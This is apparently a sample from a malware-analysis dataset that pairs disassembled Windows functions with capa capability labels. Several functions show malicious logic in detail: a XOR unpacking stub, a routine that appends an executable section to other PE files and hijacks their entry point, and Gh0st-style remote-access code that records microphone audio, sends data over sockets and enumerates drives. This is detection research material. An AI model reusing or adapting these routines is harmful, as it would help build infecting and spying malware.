joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401800
Capabilities:
Query environment variable
Query or enumerate registry value

Disassembly:
sub esp, 0x1d8
push esi
push str.SOFTWARENational_InstrumentsLabVIEW_Run_Time
lea eax, [esp + 0x14]
push 0xc8
push eax
call fcn.00402180
add esp, 0xc
mov dword [esp + 0xc], 0x104
lea eax, [esp + 4]
mov dword [esp + 8], 0
mov dword [esp + 4], 0
push eax
push 1
push 0
lea eax, [esp + 0x1c]
push eax
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4018c4
mov esi, dword [esp + 0x1e0]
lea eax, [esp + 0xc]
push eax
push esi
lea eax, [esp + 0x10]
push eax
push 0
push str.NILVRunTimeManagerPath
push dword [esp + 0x18]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x4018c4
push dword [esp + 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp dword [esp + 8], 2
mov dword [esp + 4], 0
jne 0x4018ba
push esi
lea eax, [esp + 0xdc]
push 0x104
push eax
call fcn.00402180
add esp, 0xc
lea eax, [esp + 0xd8]
push 4
push esi
push eax
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
xor eax, eax
pop esi
add esp, 0x1d8
ret
mov eax, dword [esp + 4]
test eax, eax
je 0x4018d3
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, 0x485
pop esi
add esp, 0x1d8
ret

Function at 0x401a40
Capabilities:
Get file attributes

Disassembly:
push ebx
push esi
mov esi, dword [esp + 0xc]
xor bl, bl
test esi, esi
je 0x401a9a
push esi
call fcn.004021a0
add esp, 4
test eax, eax
je 0x401a9a
push dword [esp + 0x14]
mov eax, dword [esp + 0x14]
push eax
push 0x40f644
push eax
push esi
call fcn.00402150
add esp, 0xc
push eax
call fcn.00402150
add esp, 0xc
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
test eax, eax
je 0x401a9a
cmp eax, 0xffffffff
je 0x401a9a
test al, 0x10
mov ecx, 1
movzx eax, bl
pop esi
cmove eax, ecx
pop ebx
ret
pop esi
mov al, bl
pop ebx
ret
Function at 0x433000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43300c
nop
pop eax
nop
nop
nop
nop
add eax, 0x40a063
nop
sub eax, 0x40a009
nop
nop
nop
nop
nop
mov ebx, dword [eax]
mov ecx, dword [eax + 4]
nop
nop
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
add ebx, 4
nop
cmp ebx, ecx
nop
nop
nop
nop
nop
nop
jl 0x433030
nop
nop
add eax, 0xc
nop
nop
cmp dword [eax], 0
nop
nop
nop
jne 0x43301e
nop
nop
nop
nop
nop
nop
nop
nop
popal
nop
jmp 0x431219
Function at 0x4010c1
Capabilities:
Parse pe header

Disassembly:
call 0x401005
pop ebx
sub ebx, 0x404005
call 0x4010c1
call fcn.004010ff
call fcn.00401448
lea esi, [ebx + 0x405657]
push 0x104
push esi
push 0
mov eax, 0x762490e0
call eax
lea edi, [ebx + 0x4055a1]
push 0x32
push edi
mov eax, 0x7624f4b0
call eax
add eax, 0x10
mov dword [ebx + 0x4055e1], eax
lea eax, [ebx + 0x40575b]
push eax
push edi
mov eax, 0x7624f540
call eax
push esi
push edi
mov eax, 0x76269220
call eax
or eax, eax
je 0x40107d
call fcn.00401ff5
call fcn.00402528
call fcn.00402560
push dword [ebx + 0x40564f]
ret
lea eax, [ebx + 0x405565]
push eax
push 0
push 0
mov eax, 0x762538c0
call eax
lea eax, [ebx + 0x405059]
push 0
push 0
push ebx
push eax
push 0
push 0
mov eax, 0x76249390
call eax
lea eax, [ebx + 0x404486]
push 0
push 0
push ebx
push eax
push 0
push 0
call dword [ebx + 0x4040a0]
call fcn.00401808
mov edi, dword [esp + 4]
and edi, 0xffff0000
cmp word [edi], 0x5a4d
jne 0x4010e1
mov esi, edi
add esi, dword [esi + 0x3c]
cmp dword [esi], 0x4550
jne 0x4010e1
jmp 0x4010f8
sub edi, 0x10000
cmp edi, 0x70000000
jae 0x4010f6
mov edi, 0xbff70000
jmp 0x4010f8
jmp 0x4010cb
mov dword [ebx + 0x405653], edi
ret
Function at 0x40167f
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
pushal
push 0
push 0x80
push 3
push 0
push 3
push 0xc0000000
push dword [ebp + 8]
mov eax, 0x76253a80
call eax
cmp eax, 0xffffffff
je 0x401803
mov dword [ebp - 4], eax
push 0
push 0
push 0
push 4
push 0
push dword [ebp - 4]
mov eax, 0x76246d80
call eax
or eax, eax
je 0x4017fa
mov dword [ebp - 8], eax
push 0
push 0
push 0
push 6
push dword [ebp - 8]
mov eax, 0x76247b30
call eax
or eax, eax
je 0x4017f1
mov dword [ebp - 0xc], eax
mov esi, eax
cmp word [esi], 0x5a4d
je 0x4016f8
jmp 0x4017e7
cmp word [esi + 0x18], 0x40
je 0x401704
jmp 0x4017e7
add esi, dword [esi + 0x3c]
cmp dword [esi], 0x4550
je 0x401714
jmp 0x4017e7
cmp word [esi + 0x5c], 2
je 0x401720
jmp 0x4017e7
cmp word [esi + 0x1a], 0x815
jne 0x40172d
jmp 0x4017e7
mov eax, dword [esi + 0x28]
add eax, dword [esi + 0x34]
mov dword [ebx + 0x40564f], eax
movzx eax, word [esi + 6]
mov ecx, 0x28
mul ecx
lea edi, [esi]
sub edi, dword [ebp - 0xc]
add eax, edi
add eax, 0x18
movzx edi, word [esi + 0x14]
add eax, edi
mov edi, eax
add edi, dword [ebp - 0xc]
add eax, 0x28
cmp eax, dword [esi + 0x54]
jbe 0x401766
jmp 0x4017e7
inc word [esi + 6]
mov dword [edi], 0x736a78
push dword [esi + 0x50]
pop dword [edi + 0xc]
mov eax, 0x1a54
mov dword [edi + 8], eax
mov ecx, dword [esi + 0x3c]
div ecx
inc eax
mul ecx
mov dword [edi + 0x10], eax
lea eax, [edi - 0x14]
mov eax, dword [eax]
lea ecx, [edi - 0x18]
mov ecx, dword [ecx]
add eax, ecx
mov dword [edi + 0x14], eax
mov dword [edi + 0x24], 0xe0000020
mov eax, dword [edi + 8]
mov ecx, dword [esi + 0x38]
div ecx
inc eax
mul ecx
add eax, dword [esi + 0x50]
mov dword [esi + 0x50], eax
mov eax, dword [edi + 0xc]
mov dword [esi + 0x28], eax
mov word [esi + 0x1a], 0x815
push 0
push 0
push dword [edi + 0x14]
push dword [ebp - 4]
mov eax, 0x76253ec0
call eax
push 0
lea eax, [ebp - 0x10]
push eax
push dword [edi + 0x10]
lea eax, [ebx + 0x404000]
push eax
push dword [ebp - 4]
mov eax, 0x76253f20
call eax
push dword [ebp - 0xc]
mov eax, 0x762489a0
call eax
push dword [ebp - 8]
call dword [ebx + 0x405592]
push dword [ebp - 4]
call dword [ebx + 0x405592]
popal
leave
ret 4
Function at 0x10001100
Capabilities:
Link many functions at runtime
Terminate thread

Disassembly:
sub esp, 0x18
push ebx
push ebp
push esi
mov esi, ecx
push edi
mov edi, dword [sym.imp.MSVCRT.dll_puts]
push 0x100160a0
mov dword [esi], 0x10013388
call edi
mov eax, dword [0x10018410]
mov ebx, dword [sym.imp.KERNEL32.dll_GetProcAddress]
add esp, 4
push str.waveInReset
push eax
call ebx
mov ebp, dword [sym.imp.KERNEL32.dll_Sleep]
push 0
mov dword [esp + 0x18], eax
call ebp
push 0x100160a0
call edi
mov ecx, dword [0x10018410]
add esp, 4
push str.waveInStop
push ecx
call ebx
push 0
mov dword [esp + 0x14], eax
call ebp
push 0x100160a0
call edi
mov edx, dword [0x10018410]
add esp, 4
push str.waveInClose
push edx
call ebx
push 0
mov dword [esp + 0x20], eax
call ebp
push 0x100160a0
call edi
mov eax, dword [0x10018410]
add esp, 4
push str.waveInUnprepareHeader
push eax
call ebx
push 0
mov dword [esp + 0x1c], eax
call ebp
push 0x100160a0
call edi
mov ecx, dword [0x10018410]
add esp, 4
push str.waveOutReset
push ecx
call ebx
push 0
mov dword [esp + 0x24], eax
call ebp
push 0x100160a0
call edi
mov edx, dword [0x10018410]
add esp, 4
push str.waveOutClose
push edx
call ebx
push 0
mov dword [esp + 0x28], eax
call ebp
push 0x100160a0
call edi
mov eax, dword [0x10018410]
add esp, 4
push str.waveOutUnprepareHeader
push eax
call ebx
push 0
mov ebx, eax
call ebp
mov al, byte [esi + 0x44]
test al, al
je 0x10001242
mov ecx, dword [esi + 0x18]
push ecx
call dword [esp + 0x14]
mov edx, dword [esi + 0x18]
push edx
call dword [esp + 0x18]
lea edi, [esi + 0x30]
mov ebp, 2
mov eax, dword [edi]
mov ecx, dword [esi + 0x18]
push 0x20
push eax
push ecx
call dword [esp + 0x24]
add edi, 4
dec ebp
jne 0x1000121b
mov edx, dword [esi + 0x18]
push edx
call dword [esp + 0x20]
mov eax, dword [esi + 0x2c]
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_TerminateThread]
mov al, byte [esi + 0x45]
test al, al
je 0x10001272
mov ecx, dword [esi + 0x40]
push ecx
call dword [esp + 0x24]
lea edi, [esi + 0x30]
mov ebp, 2
mov edx, dword [edi]
mov eax, dword [esi + 0x40]
push 0x20
push edx
push eax
call ebx
add edi, 4
dec ebp
jne 0x10001259
mov ecx, dword [esi + 0x40]
push ecx
call dword [esp + 0x28]
lea edi, [esi + 0x30]
mov ebx, 2
mov edx, dword [edi - 0x28]
push edx
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
mov eax, dword [edi]
push eax
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
mov ecx, dword [edi - 0x20]
push ecx
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
mov edx, dword [edi + 8]
push edx
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 0x10
add edi, 4
dec ebx
jne 0x1000127a
mov eax, dword [esi + 0x24]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push eax
call edi
mov ecx, dword [esi + 0x28]
push ecx
call edi
mov edx, dword [esi + 0x2c]
push edx
call edi
mov eax, dword [0x10018410]
push eax
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x18
ret
Function at 0x100013d0
Capabilities:
Create thread
Link many functions at runtime
Resume thread

Disassembly:
mov eax, dword [0x10018410]
sub esp, 8
push ebx
push ebp
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push edi
push str.waveInGetNumDevs
mov edi, ecx
push eax
call esi
call eax
test eax, eax
jne 0x100013fc
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 8
ret
mov ecx, dword [0x10018410]
push str.waveInOpen
push ecx
call esi
lea edx, [esp + 0x10]
mov ebp, eax
push edx
push 4
push edi
push 0x100015c0
push 0
push 0
mov dword [esp + 0x28], 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [edi + 0x2c], eax
mov eax, dword [esp + 0x10]
push 0x20000
push 0
lea ecx, [edi + 0x46]
push eax
lea ebx, [edi + 0x18]
push ecx
push 0xffff
push ebx
call ebp
test eax, eax
je 0x10001457
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 8
ret
mov edx, dword [0x10018410]
push str.waveInPrepareHeader
push edx
call esi
mov dword [esp + 0x14], eax
lea esi, [edi + 0x30]
mov ebp, 2
mov eax, dword [esi]
mov ecx, dword [esi - 0x28]
push 0x20
mov dword [eax], ecx
mov edx, dword [esi]
mov eax, dword [edi + 4]
mov dword [edx + 4], eax
mov ecx, dword [esi]
xor eax, eax
mov dword [ecx + 0x10], eax
mov edx, dword [esi]
mov dword [edx + 0x14], eax
mov eax, dword [esi]
mov ecx, dword [ebx]
push eax
push ecx
call dword [esp + 0x20]
add esi, 4
dec ebp
jne 0x10001471
mov edx, dword [0x10018410]
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.waveInAddBuffer
push edx
call esi
mov ecx, dword [edi + 0x1c]
push 0x20
mov edx, dword [edi + ecx*4 + 0x30]
mov ecx, dword [ebx]
push edx
push ecx
call eax
mov edx, dword [edi + 0x2c]
push edx
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov eax, dword [0x10018410]
push str.waveInStart
push eax
call esi
mov ecx, dword [ebx]
push ecx
call eax
mov al, 1
mov byte [edi + 0x44], al
pop edi
pop esi
pop ebp
pop ebx
add esp, 8
ret

Function at 0x10001db0
Capabilities:
Initialize winsock library

Disassembly:
push 0xffffffffffffffff
push 0x10012aba
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x198
push esi
mov esi, ecx
push edi
mov dword [esp + 8], esi
lea ecx, [esi + 4]
call fcn.10001960
lea ecx, [esi + 0x2c]
mov dword [esp + 0x1a8], 0
call fcn.10001960
lea ecx, [esi + 0x54]
mov byte [esp + 0x1a8], 1
call fcn.10001960
lea ecx, [esi + 0x7c]
mov byte [esp + 0x1a8], 2
call fcn.10001960
lea eax, [esp + 0x10]
mov dword [esi], 0x100133a0
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
mov edi, dword [sym.imp.MSVCRT.dll_putchar]
push 0x30
call edi
add esp, 4
push 0
push 0
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
push 0x30
mov dword [esi + 0xac], eax
call edi
mov byte [esp + 0xc], 0x47
mov byte [esp + 0xd], 0x68
mov byte [esp + 0xe], 0x30
mov byte [esp + 0xf], 0x73
mov edx, dword [esp + 0xc]
lea ecx, [esi + 0xb0]
mov al, 0x74
add esp, 4
mov dword [ecx], edx
mov byte [esi + 0xb5], 0
mov dword [esi + 0xa8], 0xffffffff
pop edi
mov byte [ecx + 4], al
mov ecx, dword [esp + 0x19c]
mov eax, esi
pop esi
mov dword fs:[0], ecx
add esp, 0x1a4
ret
Function at 0x10001fc0
Capabilities:
Create tcp socket
Create udp socket
Resolve dns
Set socket configuration

Disassembly:
sub esp, 0x20
push ebx
push ebp
push esi
push edi
mov esi, ecx
call fcn.100024f0
mov edi, dword [sym.imp.MSVCRT.dll_puts]
push 0x100160a0
call edi
mov eax, dword [esi + 0xac]
add esp, 4
push eax
call dword [sym.imp.KERNEL32.dll_ResetEvent]
push 0x100160a0
mov byte [esi + 0xb5], 0
call edi
add esp, 4
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
push 0
mov dword [esi + 0xa8], eax
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp dword [esi + 0xa8], 0xffffffff
jne 0x1000202b
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x20
ret 8
mov ebp, dword [sym.imp.MSVCRT.dll_putchar]
push 0x30
call ebp
mov ecx, dword [esp + 0x38]
add esp, 4
push ecx
call dword [sym.imp.WS2_32.dll_gethostbyname]
push 0x30
mov ebx, eax
call ebp
add esp, 4
test ebx, ebx
jne 0x1000205c
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x20
ret 8
push 0x100160a0
mov word [esp + 0x24], 2
call edi
mov edx, dword [esp + 0x3c]
add esp, 4
push edx
call dword [sym.imp.WS2_32.dll_htons]
push 0
mov word [esp + 0x26], ax
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebx + 0xc]
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [eax]
mov edx, dword [ecx]
mov dword [esp + 0x24], edx
call edi
push str.connect
push str.WS2_32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edx, dword [esi + 0xa8]
lea ecx, [esp + 0x20]
push 0x10
push ecx
push edx
call eax
cmp eax, 0xffffffff
jne 0x100020d0
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x20
ret 8
call edi
push 0x30
mov byte [esp + 0x17], 1
call ebp
mov ecx, dword [esi + 0xa8]
add esp, 4
lea eax, [esp + 0x13]
push 1
push eax
push 8
push 0xffff
push ecx
call dword [sym.imp.WS2_32.dll_setsockopt]
test eax, eax
jne 0x10002149
push 0x30
mov dword [esp + 0x18], 1
mov dword [esp + 0x1c], 0xea60
mov dword [esp + 0x20], 0x1388
call ebp
add esp, 4
mov ecx, dword [esi + 0xa8]
lea edx, [esp + 0x13]
lea eax, [esp + 0x14]
push 0
push 0
push edx
push 0
push 0
push 0xc
push eax
push 0x98000004
push ecx
call dword [sym.imp.WS2_32.dll_WSAIoctl]
push 0x30
call ebp
add esp, 4
push 1
push 0
push 0
push esi
push 0x10002180
push 0
push 0
mov byte [esi + 0xb5], 1
call fcn.1000a0e0
add esp, 0x1c
mov dword [esi + 0xa4], eax
mov al, 1
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x20
ret 8
Function at 0x100024f0
Capabilities:
Set socket configuration

Disassembly:
push ecx
push esi
push edi
mov edi, dword [sym.imp.MSVCRT.dll_putchar]
mov esi, ecx
push 0x30
mov word [esp + 0xc], 1
mov word [esp + 0xe], 0
call edi
mov ecx, dword [esi + 0xa8]
add esp, 4
lea eax, [esp + 8]
push 4
push eax
push 0x80
push 0xffff
push ecx
call dword [sym.imp.WS2_32.dll_setsockopt]
push 0x30
call edi
mov edx, dword [esi + 0xa8]
add esp, 4
push edx
call dword [sym.imp.KERNEL32.dll_CancelIo]
push 0x30
call edi
add esp, 4
lea eax, [esi + 0xb5]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
push 0x30
call edi
mov ecx, dword [esi + 0xa8]
add esp, 4
push ecx
call dword [sym.imp.WS2_32.dll_closesocket]
push 0x30
call edi
mov edx, dword [esi + 0xac]
add esp, 4
push edx
call dword [sym.imp.KERNEL32.dll_SetEvent]
push 0x30
call edi
add esp, 4
mov dword [esi + 0xa8], 0xffffffff
pop edi
pop esi
pop ecx
ret

Function at 0x10002720
Capabilities:
Send data
Send data on socket

Disassembly:
sub esp, 8
push ebx
mov ebx, dword [esp + 0x14]
push ebp
mov ebp, dword [esp + 0x14]
push esi
mov esi, dword [esp + 0x20]
push edi
mov edi, ebx
cmp ebx, esi
mov dword [esp + 0x14], ecx
mov dword [esp + 0x1c], 0
mov dword [esp + 0x10], edi
jb 0x100027c1
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [esp + 0x24], 0
push 0x100160a0
call dword [sym.imp.MSVCRT.dll_puts]
mov eax, dword [esp + 0x18]
add esp, 4
mov ecx, dword [eax + 0xa8]
push 0
push esi
push ebp
push ecx
call dword [sym.imp.WS2_32.dll_send]
push 0
mov edi, eax
call ebx
test edi, edi
jg 0x10002792
mov eax, dword [esp + 0x24]
inc eax
cmp eax, 0xf
mov dword [esp + 0x24], eax
jl 0x10002757
cmp dword [esp + 0x24], 0xf
je 0x100027f7
mov edx, dword [esp + 0x1c]
push 0
add edx, edi
add ebp, esi
mov dword [esp + 0x20], edx
call ebx
push 0xa
call ebx
mov eax, dword [esp + 0x10]
sub eax, esi
cmp eax, esi
mov dword [esp + 0x10], eax
jae 0x1000274f
mov ebx, dword [esp + 0x20]
mov edi, eax
test edi, edi
jle 0x100027ef
xor esi, esi
mov edx, dword [esp + 0x14]
push 0
push edi
push ebp
mov eax, dword [edx + 0xa8]
push eax
call dword [sym.imp.WS2_32.dll_send]
test eax, eax
jg 0x100027e6
inc esi
cmp esi, 0xf
jl 0x100027c7
cmp esi, 0xf
je 0x100027f7
add dword [esp + 0x1c], eax
mov eax, dword [esp + 0x1c]
cmp eax, ebx
je 0x100027fa
or eax, 0xffffffff
pop edi
pop esi
pop ebp
pop ebx
add esp, 8
ret 0xc

Function at 0x10002820
Capabilities:
Resolve dns

Disassembly:
sub esp, 0x10
push esi
mov esi, dword [esp + 0x18]
test esi, esi
jne 0x10002833
xor eax, eax
pop esi
add esp, 0x10
ret
push esi
call dword [sym.imp.WS2_32.dll_inet_addr]
cmp eax, 0xffffffff
jne 0x10002861
push esi
call dword [sym.imp.WS2_32.dll_gethostbyname]
mov ecx, dword [eax]
mov dword [esp + 4], ecx
mov edx, dword [eax + 4]
mov dword [esp + 8], edx
mov ecx, dword [eax + 8]
mov dword [esp + 0xc], ecx
mov eax, dword [eax + 0xc]
mov edx, dword [eax]
mov eax, dword [edx]
pop esi
add esp, 0x10
ret
Function at 0x10002980
Capabilities:
Query or enumerate registry value

Disassembly:
sub esp, 0x190
push esi
push edi
mov ecx, 0x1f
xor eax, eax
lea edi, [esp + 0x15]
mov byte [esp + 0x14], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x20
xor eax, eax
lea edi, [esp + 0x14]
lea edx, [esp + 0x94]
rep stosd dword es:[edi], eax
mov edi, str.SOFTWAREMicrosoftWindows_NTCurrentVersion
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [esp + 0x94]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 8]
push ecx
push 0xf003f
push 0
push edx
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x10002a28
lea eax, [esp + 0xc]
lea ecx, [esp + 0x14]
push eax
mov eax, dword [esp + 0xc]
lea edx, [esp + 0x14]
push ecx
push edx
push 0
push 0x100161d4
push eax
mov dword [esp + 0x24], 0xc8
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov ecx, dword [esp + 8]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov esi, dword [sym.imp.MSVCRT.dll_strstr]
lea edx, [esp + 0x14]
push str.2000
push edx
call esi
add esp, 8
test eax, eax
jne 0x10002a70
lea eax, [esp + 0x14]
push str.2003
push eax
call esi
add esp, 8
test eax, eax
jne 0x10002a70
lea ecx, [esp + 0x14]
push str.2008
push ecx
call esi
add esp, 8
test eax, eax
jne 0x10002a70
pop edi
pop esi
add esp, 0x190
ret
pop edi
mov eax, 1
pop esi
add esp, 0x190
ret
Function at 0x10003e60
Capabilities:
Check if file exists
Create directory
Get file attributes

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100133c0
push 0x100128a8
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x14
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
mov dword [ebp - 4], 0
push 0x30
call dword [sym.imp.MSVCRT.dll_putchar]
add esp, 4
mov esi, dword [ebp + 8]
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
inc eax
push eax
call dword [sym.imp.MSVCRT.dll_malloc]
add esp, 4
mov edi, eax
mov dword [ebp - 0x24], edi
test edi, edi
je 0x10003fd7
push esi
push edi
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov esi, edi
mov dword [ebp - 0x1c], esi
cmp byte [edi], 0x5c
jne 0x10003f17
lea eax, [edi + 1]
cmp byte [eax], 0x5c
jne 0x10003f17
mov esi, eax
mov dword [ebp - 0x1c], esi
inc esi
mov dword [ebp - 0x1c], esi
mov al, byte [esi]
test al, al
je 0x10003ef2
cmp al, 0x5c
je 0x10003ef2
push esi
call dword [sym.imp.USER32.dll_CharNextA]
mov esi, eax
jmp 0x10003eda
cmp byte [esi], 0
je 0x10003efb
inc esi
mov dword [ebp - 0x1c], esi
mov al, byte [esi]
test al, al
je 0x10003f10
cmp al, 0x5c
je 0x10003f10
push esi
call dword [sym.imp.USER32.dll_CharNextA]
mov esi, eax
jmp 0x10003ef8
cmp byte [esi], 0
je 0x10003f36
jmp 0x10003f32
lea eax, [edi + 1]
cmp byte [eax], 0x3a
jne 0x10003f36
mov esi, eax
mov dword [ebp - 0x1c], esi
inc esi
mov dword [ebp - 0x1c], esi
mov al, byte [esi]
test al, al
je 0x10003f36
cmp al, 0x5c
jne 0x10003f36
inc esi
mov dword [ebp - 0x1c], esi
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
mov al, byte [esi]
test al, al
je 0x10003f9b
cmp al, 0x5c
jne 0x10003f8d
mov byte [esi], 0
push edi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov dword [ebp - 0x20], eax
cmp eax, 0xffffffff
jne 0x10003f80
push 0
call ebx
push 0
push edi
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
jne 0x10003f8a
push eax
call ebx
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x10003f8a
push 0
call ebx
push edi
jmp 0x10003fce
and eax, 0x10
cmp al, 0x10
je 0x10003f8a
push edi
jmp 0x10003fce
mov byte [esi], 0x5c
push esi
call dword [sym.imp.USER32.dll_CharNextA]
mov esi, eax
mov dword [ebp - 0x1c], esi
jmp 0x10003f3c
mov dword [ebp - 4], 0xffffffff
push edi
call dword [sym.imp.MSVCRT.dll_free]
add esp, 4
mov al, 1
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
call dword [sym.imp.MSVCRT.dll_free]
add esp, 4
mov dword [ebp - 4], 0xffffffff
xor al, al
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x10004060
Capabilities:
Get disk information
Get disk size

Disassembly:
sub esp, 0x78c
push ebx
push ebp
push esi
lea eax, [esp + 0x138]
push edi
push eax
mov dword [esp + 0x2c], ecx
push pe_nt_image_headers32
mov byte [esp + 0x3a4], 0x67
call dword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsA]
xor esi, esi
push str.Shell32.dll
lea ebp, [esp + 0x140]
mov dword [esp + 0x24], esi
mov dword [esp + 0x28], esi
mov dword [esp + 0x1c], esi
mov dword [esp + 0x20], esi
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
push str.SHGetFileInfoA
push edi
mov dword [esp + 0x38], edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [esp + 0x34], eax
mov al, byte [esp + 0x13c]
test al, al
mov ebx, 1
je 0x1000421e
jmp 0x100040db
xor esi, esi
mov ecx, 0x41
xor eax, eax
lea edi, [esp + 0x38]
push 0x104
rep stosd dword es:[edi], eax
lea ecx, [esp + 0x3c]
push ecx
push esi
push esi
push esi
push esi
push esi
push ebp
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
push 0x410
lea edx, [esp + 0x240]
push 0x160
push edx
push 0x80
push ebp
call dword [esp + 0x48]
mov esi, dword [sym.imp.KERNEL32.dll_lstrlenA]
lea eax, [esp + 0x34c]
push eax
call esi
mov edi, eax
lea ecx, [esp + 0x38]
inc edi
push ecx
mov dword [esp + 0x30], edi
call esi
inc eax
mov dword [esp + 0x10], eax
mov al, byte [ebp]
cmp al, 0x41
je 0x1000418b
cmp al, 0x42
je 0x1000418b
lea edx, [esp + 0x20]
push 0
lea eax, [esp + 0x1c]
push edx
push eax
push ebp
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExA]
test eax, eax
je 0x1000418b
mov eax, dword [esp + 0x20]
mov edx, dword [esp + 0x24]
mov ecx, 0x14
call fcn.100128b0
mov edx, dword [esp + 0x1c]
mov esi, eax
mov eax, dword [esp + 0x18]
mov ecx, 0x14
call fcn.100128b0
mov dword [esp + 0x14], eax
jmp 0x10004191
xor esi, esi
mov dword [esp + 0x14], esi
mov cl, byte [ebp]
push ebp
mov byte [esp + ebx + 0x3a0], cl
call dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
mov edx, dword [esp + 0x14]
mov ecx, edi
mov byte [esp + ebx + 0x39d], al
mov eax, ecx
mov dword [esp + ebx + 0x39e], esi
lea esi, [esp + 0x34c]
lea edi, [esp + ebx + 0x3a6]
mov dword [esp + ebx + 0x3a2], edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
mov eax, dword [esp + 0x2c]
and ecx, 3
push ebp
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [esp + 0x14]
lea edx, [eax + ebx]
lea esi, [esp + 0x3c]
lea edi, [esp + edx + 0x3aa]
mov edx, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, edx
add ecx, eax
lea ebx, [ebx + ecx + 0xa]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea ebp, [eax + ebp + 1]
cmp byte [ebp], 0
jne 0x100040d9
mov edi, dword [esp + 0x30]
push edi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov ecx, dword [esp + 0x28]
lea edx, [esp + 0x39c]
push ebx
push edx
call fcn.10007280
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x78c
ret